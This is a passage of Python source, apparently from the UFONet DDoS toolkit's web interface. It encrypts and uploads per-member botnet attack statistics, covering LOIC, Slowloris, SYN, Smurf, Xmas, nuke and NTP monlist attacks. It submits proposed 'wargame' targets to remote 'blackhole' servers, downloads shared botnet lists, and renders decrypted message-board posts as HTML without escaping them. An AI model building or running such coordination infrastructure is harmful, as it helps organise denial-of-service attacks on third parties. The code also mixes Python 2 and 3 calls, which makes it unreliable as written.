  3728. elif grid_filter == "nuke":
  3729. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  3730. elif grid_filter == "tachyon":
  3731. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
  3732. elif grid_filter == "monlist":
  3733. grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
  3734. elif grid_filter == "contact":
  3735. grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by contact
  3736. else:
  3737. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  3738. for i in grid_items:
  3739. grid_nickname = str(i[0])
  3740. self.encrypt(grid_key, grid_nickname)
  3741. if self.encryptedtext:
  3742. grid_nickname = self.encryptedtext
  3743. self.encryptedtext = "" # clean encryptedtext buffer
  3744. grid_ranking = str(i[1])
  3745. self.encrypt(grid_key, grid_ranking)
  3746. if self.encryptedtext:
  3747. grid_ranking = self.encryptedtext
  3748. self.encryptedtext = "" # clean encryptedtext buffer
  3749. grid_totalchargo = str(i[2])
  3750. self.encrypt(grid_key, grid_totalchargo)
  3751. if self.encryptedtext:
  3752. grid_totalchargo = self.encryptedtext
  3753. self.encryptedtext = "" # clean encryptedtext buffer
  3754. grid_dorking = str(i[3])
  3755. self.encrypt(grid_key, grid_dorking)
  3756. if self.encryptedtext:
  3757. grid_dorking = self.encryptedtext
  3758. self.encryptedtext = "" # clean encryptedtext buffer
  3759. grid_transferred = str(i[4])
  3760. self.encrypt(grid_key, grid_transferred)
  3761. if self.encryptedtext:
  3762. grid_transferred = self.encryptedtext
  3763. self.encryptedtext = "" # clean encryptedtext buffer
  3764. grid_maxchargo = str(i[5])
  3765. self.encrypt(grid_key, grid_maxchargo)
  3766. if self.encryptedtext:
  3767. grid_maxchargo = self.encryptedtext
  3768. self.encryptedtext = "" # clean encryptedtext buffer
  3769. grid_missions = str(i[6])
  3770. self.encrypt(grid_key, grid_missions)
  3771. if self.encryptedtext:
  3772. grid_missions = self.encryptedtext
  3773. self.encryptedtext = "" # clean encryptedtext buffer
  3774. grid_attacks = str(i[7])
  3775. self.encrypt(grid_key, grid_attacks)
  3776. if self.encryptedtext:
  3777. grid_attacks = self.encryptedtext
  3778. self.encryptedtext = "" # clean encryptedtext buffer
  3779. grid_loic = str(i[8])
  3780. self.encrypt(grid_key, grid_loic)
  3781. if self.encryptedtext:
  3782. grid_loic = self.encryptedtext
  3783. self.encryptedtext = "" # clean encryptedtext buffer
  3784. grid_loris = str(i[9])
  3785. self.encrypt(grid_key, grid_loris)
  3786. if self.encryptedtext:
  3787. grid_loris = self.encryptedtext
  3788. self.encryptedtext = "" # clean encryptedtext buffer
  3789. grid_ufosyn = str(i[10])
  3790. self.encrypt(grid_key, grid_ufosyn)
  3791. if self.encryptedtext:
  3792. grid_ufosyn = self.encryptedtext
  3793. self.encryptedtext = "" # clean encryptedtext buffer
  3794. grid_spray = str(i[11])
  3795. self.encrypt(grid_key, grid_spray)
  3796. if self.encryptedtext:
  3797. grid_spray = self.encryptedtext
  3798. self.encryptedtext = "" # clean encryptedtext buffer
  3799. grid_smurf = str(i[12])
  3800. self.encrypt(grid_key, grid_smurf)
  3801. if self.encryptedtext:
  3802. grid_smurf = self.encryptedtext
  3803. self.encryptedtext = "" # clean encryptedtext buffer
  3804. grid_xmas = str(i[13])
  3805. self.encrypt(grid_key, grid_xmas)
  3806. if self.encryptedtext:
  3807. grid_xmas = self.encryptedtext
  3808. self.encryptedtext = "" # clean encryptedtext buffer
  3809. grid_nuke = str(i[14])
  3810. self.encrypt(grid_key, grid_nuke)
  3811. if self.encryptedtext:
  3812. grid_nuke = self.encryptedtext
  3813. self.encryptedtext = "" # clean encryptedtext buffer
  3814. grid_tachyon = str(i[15])
  3815. self.encrypt(grid_key, grid_tachyon)
  3816. if self.encryptedtext:
  3817. grid_tachyon = self.encryptedtext
  3818. self.encryptedtext = "" # clean encryptedtext buffer
  3819. grid_monlist = str(i[16])
  3820. self.encrypt(grid_key, grid_monlist)
  3821. if self.encryptedtext:
  3822. grid_monlist = self.encryptedtext
  3823. self.encryptedtext = "" # clean encryptedtext buffer
  3824. grid_contact = str(i[17])
  3825. self.encrypt(grid_key, grid_contact)
  3826. if self.encryptedtext:
  3827. grid_contact = self.encryptedtext
  3828. self.encryptedtext = "" # clean encryptedtext buffer
  3829. grid_id = str(i[18]) # id (plain id)
  3830. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  3831. f.write(l + os.linesep)
  3832. f.close()
  3833. except:
  3834. pass
  3835. if page == "/cmd_grid_filter_update":
  3836. if not os.path.exists('/tmp/out'):
  3837. open('/tmp/out', 'w').close()
  3838. with open('/tmp/out', 'r') as f:
  3839. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  3840. if page == "/cmd_transfer_grid":
  3841. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3842. blackhole_ip = pGet["grid_source"]
  3843. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3844. try:
  3845. grid_key = pGet["grid_key"]
  3846. except:
  3847. grid_key = ""
  3848. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3849. if grid_key is not "": # stream creation + encryption + package send
  3850. try:
  3851. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  3852. grid_data = json.load(grid_json_file)
  3853. grid_json_file.close()
  3854. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  3855. stats_data = json.load(stats_json_file)
  3856. stats_json_file.close()
  3857. nickname = grid_data["grid_nick"].encode('utf-8')
  3858. self.encrypt(grid_key, nickname)
  3859. if self.encryptedtext:
  3860. nickname = self.encryptedtext
  3861. self.encryptedtext = "" # clean encryptedtext buffer
  3862. ranking = self.ranking
  3863. if ranking == "Rookie":
  3864. ranking = 1
  3865. elif ranking == "Mercenary":
  3866. ranking = 2
  3867. elif ranking == "Bandit":
  3868. ranking = 3
  3869. elif ranking == "UFOmmander!":
  3870. ranking = 4
  3871. elif ranking == "UFOl33t!":
  3872. ranking = 5
  3873. else:
  3874. ranking = 1
  3875. self.encrypt(grid_key, str(ranking))
  3876. if self.encryptedtext:
  3877. ranking = self.encryptedtext
  3878. self.encryptedtext = "" # clean encryptedtext buffer
  3879. chargo = self.total_botnet
  3880. self.encrypt(grid_key, str(chargo))
  3881. if self.encryptedtext:
  3882. chargo = self.encryptedtext
  3883. self.encryptedtext = "" # clean encryptedtext buffer
  3884. dorking = stats_data["scanner"]
  3885. self.encrypt(grid_key, str(dorking))
  3886. if self.encryptedtext:
  3887. dorking = self.encryptedtext
  3888. self.encryptedtext = "" # clean encryptedtext buffer
  3889. transferred = stats_data["transferred"]
  3890. self.encrypt(grid_key, str(transferred))
  3891. if self.encryptedtext:
  3892. transferred = self.encryptedtext
  3893. self.encryptedtext = "" # clean encryptedtext buffer
  3894. max_chargo = stats_data["max_chargo"]
  3895. self.encrypt(grid_key, str(max_chargo))
  3896. if self.encryptedtext:
  3897. max_chargo = self.encryptedtext
  3898. self.encryptedtext = "" # clean encryptedtext buffer
  3899. missions = stats_data["missions"]
  3900. self.encrypt(grid_key, str(missions))
  3901. if self.encryptedtext:
  3902. missions = self.encryptedtext
  3903. self.encryptedtext = "" # clean encryptedtext buffer
  3904. attacks = stats_data["completed"]
  3905. self.encrypt(grid_key, str(attacks))
  3906. if self.encryptedtext:
  3907. attacks = self.encryptedtext
  3908. self.encryptedtext = "" # clean encryptedtext buffer
  3909. loic = stats_data["loic"]
  3910. self.encrypt(grid_key, str(loic))
  3911. if self.encryptedtext:
  3912. loic = self.encryptedtext
  3913. self.encryptedtext = "" # clean encryptedtext buffer
  3914. loris = stats_data["loris"]
  3915. self.encrypt(grid_key, str(loris))
  3916. if self.encryptedtext:
  3917. loris = self.encryptedtext
  3918. self.encryptedtext = "" # clean encryptedtext buffer
  3919. ufosyn = stats_data["ufosyn"]
  3920. self.encrypt(grid_key, str(ufosyn))
  3921. if self.encryptedtext:
  3922. ufosyn = self.encryptedtext
  3923. self.encryptedtext = "" # clean encryptedtext buffer
  3924. spray = stats_data["spray"]
  3925. self.encrypt(grid_key, str(spray))
  3926. if self.encryptedtext:
  3927. spray = self.encryptedtext
  3928. self.encryptedtext = "" # clean encryptedtext buffer
  3929. smurf = stats_data["smurf"]
  3930. self.encrypt(grid_key, str(smurf))
  3931. if self.encryptedtext:
  3932. smurf = self.encryptedtext
  3933. self.encryptedtext = "" # clean encryptedtext buffer
  3934. xmas = stats_data["xmas"]
  3935. self.encrypt(grid_key, str(xmas))
  3936. if self.encryptedtext:
  3937. xmas = self.encryptedtext
  3938. self.encryptedtext = "" # clean encryptedtext buffer
  3939. nuke = stats_data["nuke"]
  3940. self.encrypt(grid_key, str(nuke))
  3941. if self.encryptedtext:
  3942. nuke = self.encryptedtext
  3943. self.encryptedtext = "" # clean encryptedtext buffer
  3944. tachyon = stats_data["tachyon"]
  3945. self.encrypt(grid_key, str(tachyon))
  3946. if self.encryptedtext:
  3947. tachyon = self.encryptedtext
  3948. self.encryptedtext = "" # clean encryptedtext buffer
  3949. monlist = stats_data["monlist"]
  3950. self.encrypt(grid_key, str(monlist))
  3951. if self.encryptedtext:
  3952. monlist = self.encryptedtext
  3953. self.encryptedtext = "" # clean encryptedtext buffer
  3954. contact = grid_data["grid_contact"].encode('utf-8')
  3955. self.encrypt(grid_key, str(contact))
  3956. if self.encryptedtext:
  3957. contact = self.encryptedtext
  3958. self.encryptedtext = "" # clean encryptedtext buffer
  3959. id = grid_data["grid_token"] # plain text
  3960. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  3961. try:
  3962. host = blackhole_ip
  3963. cport = 9992 # port used by mothership grider (server side script)
  3964. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3965. gs.settimeout(5.0)
  3966. gs.connect((host, cport))
  3967. gs.send(stream)
  3968. gs.close()
  3969. try: # download latest grid after submit
  3970. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  3971. f = open(self.grid_file, "w") # write updates to grid.txt
  3972. f.write(grid)
  3973. f.close()
  3974. except:
  3975. pass
  3976. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  3977. except:
  3978. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  3979. except:
  3980. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  3981. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3982. f = open("/tmp/out", "w")
  3983. f.write(grid_trans)
  3984. f.write(end_mark)
  3985. f.close()
  3986. if page == "/cmd_transfer_grid_update":
  3987. if not os.path.exists('/tmp/out'):
  3988. open('/tmp/out', 'w').close()
  3989. with open('/tmp/out', 'r') as f:
  3990. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  3991. if page == "/cmd_transfer_wargame":
  3992. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3993. blackhole_ip = pGet["wargames_source2"]
  3994. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3995. try:
  3996. wargames_enckey = pGet["wargames_enckey"]
  3997. except:
  3998. wargames_enckey = ""
  3999. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4000. wargames_target = pGet["wargames_target"]
  4001. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  4002. t = urlparse(wargames_target)
  4003. wargames_target = t.netloc
  4004. else:
  4005. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  4006. wargames_enckey = ""
  4007. if wargames_target.startswith("www."):
  4008. wargames_target = wargames_target.replace("www.","")
  4009. wargames_estimated = pGet["wargames_estimated"]
  4010. try:
  4011. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4012. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4013. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  4014. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  4015. wargames_enckey = ""
  4016. except:
  4017. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  4018. wargames_enckey = ""
  4019. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4020. if wargames_enckey is not "": # stream creation + encryption + package send
  4021. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4022. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4023. try:
  4024. self.encrypt(wargames_enckey, wargames_creation)
  4025. if self.encryptedtext:
  4026. wargames_creation = self.encryptedtext
  4027. self.encryptedtext = "" # clean encryptedtext buffer
  4028. self.encrypt(wargames_enckey, wargames_target)
  4029. if self.encryptedtext:
  4030. wargames_target = self.encryptedtext
  4031. self.encryptedtext = "" # clean encryptedtext buffer
  4032. self.encrypt(wargames_enckey, wargames_estimated)
  4033. if self.encryptedtext:
  4034. wargames_estimated = self.encryptedtext
  4035. self.encryptedtext = "" # clean encryptedtext buffer
  4036. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  4037. try:
  4038. host = blackhole_ip
  4039. cport = 9992 # port used by mothership grider (server side script)
  4040. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4041. gs.settimeout(5.0)
  4042. gs.connect((host, cport))
  4043. gs.send(stream)
  4044. gs.close()
  4045. try: # download latest wargames after submit
  4046. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  4047. f = open(self.wargames_file, "w") # write updates to wargames.txt
  4048. f.write(wargames)
  4049. f.close()
  4050. except:
  4051. pass
  4052. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  4053. except:
  4054. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  4055. except:
  4056. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  4057. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4058. f = open("/tmp/out", "w")
  4059. f.write(wargames_trans)
  4060. f.write(end_mark)
  4061. f.close()
  4062. if page == "/cmd_transfer_wargame_update":
  4063. if not os.path.exists('/tmp/out'):
  4064. open('/tmp/out', 'w').close()
  4065. with open('/tmp/out', 'r') as f:
  4066. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  4067. if page == "/cmd_sync_board":
  4068. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4069. blackhole_ip = pGet["board_source"]
  4070. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4071. try:
  4072. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  4073. f = open(self.board_file, "w") # write updates to board.txt
  4074. f.write(board)
  4075. f.close()
  4076. self.board_text = board
  4077. except:
  4078. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4079. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4080. f = open("/tmp/out", "w")
  4081. f.write(str(board))
  4082. f.write(end_mark)
  4083. f.close()
  4084. if page == "/cmd_sync_board_update":
  4085. if not os.path.exists('/tmp/out'):
  4086. open('/tmp/out', 'w').close()
  4087. with open('/tmp/out', 'r') as f:
  4088. stream = f.read()
  4089. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4090. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  4091. if page == "/cmd_send_message_board":
  4092. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  4093. blackhole_ip = pGet["board_source"]
  4094. blackhole_ip = urllib.parse.unquote(blackhole_ip).decode('utf8')
  4095. try:
  4096. board_key = pGet["board_key"]
  4097. except:
  4098. board_key = ""
  4099. try:
  4100. board_topic = pGet["board_topic"]
  4101. except:
  4102. board_topic = ""
  4103. try:
  4104. board_message = pGet["stream_txt"]
  4105. except:
  4106. board_message = ""
  4107. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4108. if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  4109. try:
  4110. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  4111. board_data = json.load(board_json_file)
  4112. board_json_file.close()
  4113. board_nickname = board_data["profile_nick"]
  4114. self.encrypt(board_key, board_nickname)
  4115. if self.encryptedtext:
  4116. board_nickname = self.encryptedtext
  4117. self.encryptedtext = "" # clean encryptedtext buffer
  4118. board_icon = board_data["profile_icon"]
  4119. board_icon = board_icon.replace("link", "") # keep just icon number
  4120. board_id = board_data["profile_token"]
  4121. self.encrypt(board_key, board_message)
  4122. if self.encryptedtext:
  4123. board_message = self.encryptedtext
  4124. self.encryptedtext = "" # clean encryptedtext buffer
  4125. if board_topic == "general":
  4126. board_topic = 1
  4127. elif board_topic == "opsec":
  4128. board_topic = 2
  4129. elif board_topic == "faq":
  4130. board_topic = 3
  4131. elif board_topic == "bugs":
  4132. board_topic = 4
  4133. elif board_topic == "media":
  4134. board_topic = 5
  4135. else:
  4136. board_topic = 1
  4137. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  4138. try:
  4139. host = blackhole_ip
  4140. cport = 9992 # port used by mothership grider (server side script)
  4141. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4142. gs.settimeout(5.0)
  4143. gs.connect((host, cport))
  4144. gs.send(stream)
  4145. gs.close()
  4146. try: # download latest board after submit
  4147. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  4148. f = open(self.board_file, "w") # write updates to board.txt
  4149. f.write(board)
  4150. f.close()
  4151. except:
  4152. pass
  4153. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  4154. except:
  4155. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  4156. except:
  4157. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  4158. f = open("/tmp/out", "w")
  4159. f.write(board_trans)
  4160. f.write(end_mark)
  4161. f.close()
  4162. if page == "/cmd_send_message_board_update":
  4163. if not os.path.exists('/tmp/out'):
  4164. open('/tmp/out', 'w').close()
  4165. with open('/tmp/out', 'r') as f:
  4166. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  4167. if page == "/cmd_decrypt":
  4168. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  4169. try:
  4170. news_key = pGet["news_key"]
  4171. except:
  4172. news_key = ""
  4173. try:
  4174. missions_key = pGet["missions_key"]
  4175. except:
  4176. missions_key = ""
  4177. end_mark = "\n[Info] [AI] End of decryption."
  4178. if news_key is not "": # news decryption
  4179. self.decrypted_news = []
  4180. nodec_text = "*** [This message cannot be solved with that KEY...]"
  4181. news_key = pGet["news_key"]
  4182. for news_text in self.list_news:
  4183. self.decrypt(news_key, news_text)
  4184. if self.decryptedtext:
  4185. if len(self.decryptedtext) < 2:
  4186. self.decrypted_news.append(nodec_text)
  4187. else:
  4188. self.decrypted_news.append(self.decryptedtext)
  4189. else:
  4190. self.decrypted_news.append(nodec_text)
  4191. self.decryptedtext = "" # clean decryptedtext buffer
  4192. f = open("/tmp/out", "w")
  4193. num_news = 0 # news counter
  4194. for m in self.decrypted_news:
  4195. num_news = num_news + 1
  4196. f.write("["+str(num_news)+"] " + str(m)+"\n")
  4197. f.write(end_mark)
  4198. f.close()
  4199. else:
  4200. if missions_key is not "": # missions decryption
  4201. self.decrypted_missions = []
  4202. nodec_text = "*** [This message cannot be solved with that KEY...]"
  4203. missions_key = pGet["missions_key"]
  4204. for missions_text in self.list_missions:
  4205. self.decrypt(missions_key, missions_text)
  4206. if self.decryptedtext:
  4207. if len(self.decryptedtext) < 2:
  4208. self.decrypted_missions.append(nodec_text)
  4209. else:
  4210. self.decrypted_missions.append(self.decryptedtext)
  4211. else:
  4212. self.decrypted_missions.append(nodec_text)
  4213. self.decryptedtext = "" # clean decryptedtext buffer
  4214. f = open("/tmp/out", "w")
  4215. num_mission = 0 # missions counter
  4216. for m in self.decrypted_missions:
  4217. num_mission = num_mission + 1
  4218. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  4219. f.write(end_mark)
  4220. f.close()
  4221. else: # blackholes (nodes.dat) decryption + data showing
  4222. self.decrypted_blackholes = []
  4223. nodec_text = "*** [This message cannot be solved with that key...]"
  4224. blackhole_key = pGet["blackhole_key"]
  4225. for blackholes_text in self.list_blackholes:
  4226. self.decrypt(blackhole_key, blackholes_text)
  4227. if self.decryptedtext:
  4228. self.decrypted_blackholes.append(self.decryptedtext)
  4229. else:
  4230. self.decrypted_blackholes.append(nodec_text)
  4231. self.decryptedtext = "" # clean decryptedtext buffer
  4232. f = open("/tmp/out", "w")
  4233. num_blackholes = 0 # blackholes counter
  4234. for b in self.decrypted_blackholes:
  4235. num_blackholes = num_blackholes + 1
  4236. if blackhole_sep in b: # IP | Mode | Comment | Actions
  4237. s = b.rsplit(blackhole_sep, 1)[0]
  4238. ip = str(s.rsplit(blackhole_sep, 1)[0])
  4239. mode = str(s.rsplit(blackhole_sep, 1)[1])
  4240. if mode == "D": # Download only mode
  4241. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  4242. elif mode == "U": # Upload only mode
  4243. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  4244. else: # Upload/Download mode
  4245. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  4246. comment = str(b.rsplit(blackhole_sep, 1)[1])
  4247. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  4248. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  4249. else:
  4250. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  4251. f.write(end_mark)
  4252. f.close()
  4253. if page == "/cmd_decrypt_update":
  4254. if not os.path.exists('/tmp/out'):
  4255. open('/tmp/out', 'w').close()
  4256. with open('/tmp/out', 'r') as f:
  4257. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  4258. if page == "/news":
  4259. self.pages["/news"] = self.html_news()
  4260. if page == "/missions":
  4261. self.pages["/missions"] = self.html_missions()
  4262. if page == "/board":
  4263. self.pages["/board"] = self.html_board()
  4264. if page == "/grid":
  4265. self.pages["/grid"] = self.html_grid()
  4266. if page == "/wargames":
  4267. self.pages["/wargames"] = self.html_wargames()
  4268. if page == "/grid_profile":
  4269. if pGet=={}:
  4270. self.pages["/grid_profile"] = self.html_grid_profile()
  4271. else:
  4272. self.save_grid(pGet)
  4273. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  4274. if page == "/board_profile":
  4275. if pGet =={}:
  4276. self.pages["/board_profile"] = self.html_board_profile()
  4277. else:
  4278. self.save_profile(pGet)
  4279. self.pages["/board_profile"] = self.html_board_profile_submit()
  4280. if page == "/board_remove":
  4281. self.pages["/board_remove"] = self.html_board_remove()
  4282. if page == "/grid_remove":
  4283. self.pages["/grid_remove"] = self.html_grid_remove()
  4284. if page == "/cmd_decrypt_moderator_board":
  4285. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  4286. try:
  4287. board_key = pGet["board_key"]
  4288. except:
  4289. board_key = ""
  4290. try:
  4291. filter = pGet["filter"]
  4292. except:
  4293. filter = ""
  4294. end_mark = "\n[Info] [AI] End of decryption."
  4295. if board_key is not "": # board decryption
  4296. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  4297. f = open("/tmp/out", "w")
  4298. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  4299. f.write(str(b)+"\n")
  4300. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  4301. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  4302. if board_msg_sep in m:
  4303. m = m.split(board_msg_sep)
  4304. topic = m[0] # topic
  4305. t = m[1] # icon
  4306. n = m[2] # nick
  4307. g = m[3] # id
  4308. l = m[4] # comment
  4309. if topic == "1":
  4310. topic = "/GENERAL"
  4311. elif topic == "2":
  4312. topic = "/#OPSEC "
  4313. elif topic == "3":
  4314. topic = "/FAQ "
  4315. elif topic == "4":
  4316. topic = "/BUGS "
  4317. elif topic == "5":
  4318. topic = "/MEDIA "
  4319. else:
  4320. topic = "/BUGS[!]"
  4321. operator_img = open("core/images/crew/link"+str(t)+".txt").read()
  4322. icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
  4323. self.decrypt(board_key, n)
  4324. if self.decryptedtext:
  4325. nick = self.decryptedtext
  4326. else:
  4327. nick = 'Anonymous' # We are legion!
  4328. try:
  4329. nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
  4330. except:
  4331. pass
  4332. if len(nick) < 3:
  4333. nick = 'Anonymous'
  4334. self.decryptedtext = "" # clean decryptedtext buffer
  4335. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  4336. self.decrypt(board_key, l)
  4337. if self.decryptedtext:
  4338. msg = self.decryptedtext
  4339. else:
  4340. msg = nodec_text
  4341. try:
  4342. msg = msg.decode('latin-1')
  4343. except:
  4344. pass
  4345. if len(msg) < 2:
  4346. msg = nodec_text
  4347. self.decryptedtext = "" # clean decryptedtext buffer
  4348. if filter in topic or filter == "ALL": # filter content by user selection
  4349. b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
  4350. b += "<font size=+2>"+str(topic)+"</font>"
  4351. b += "<br>by "+str(nick)+"<br><br>"
  4352. b += str(msg) + "</td></tr>"
  4353. f.write(str(b)+"\n")
  4354. else:
  4355. pass
  4356. else: # not valid stream data
  4357. pass
  4358. b="</table>"
  4359. f.write(str(b)+"\n")
  4360. f.write(end_mark)
  4361. f.close()
  4362. if page == "/cmd_decrypt_moderator_board_update":
  4363. if not os.path.exists('/tmp/out'):
  4364. open('/tmp/out', 'w').close()
  4365. with open('/tmp/out', 'r') as f:
  4366. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  4367. if page == "/cmd_decrypt_grid":
  4368. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  4369. try:
  4370. grid_key = pGet["grid_key"]
  4371. except:
  4372. grid_key = ""
  4373. end_mark = "[Info] [AI] End of decryption."
  4374. if grid_key is not "": # grid decryption
  4375. # Mothership stats counters
  4376. mothership_members = 0
  4377. unknown_members = 0
  4378. member_1 = 0 # Rookie
  4379. member_2 = 0 # Mercenary
  4380. member_3 = 0 # Bandit
  4381. member_4 = 0 # UFOmmander!
  4382. member_5 = 0 # UFOl33t!
  4383. mothership_missions = 0
  4384. mothership_transferred = 0
  4385. mothership_attacks = 0
  4386. mothership_loic = 0
  4387. mothership_loris = 0
  4388. mothership_ufosyn = 0
  4389. mothership_spray = 0
  4390. mothership_smurf = 0
  4391. mothership_xmas = 0
  4392. mothership_nuke = 0
  4393. mothership_tachyon = 0
  4394. mothership_monlist = 0
  4395. mothership_chargo = 0
  4396. mothership_dorking = 0
  4397. mothership_maxchargo = 0
  4398. nodec_text = "KEY?"
  4399. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' 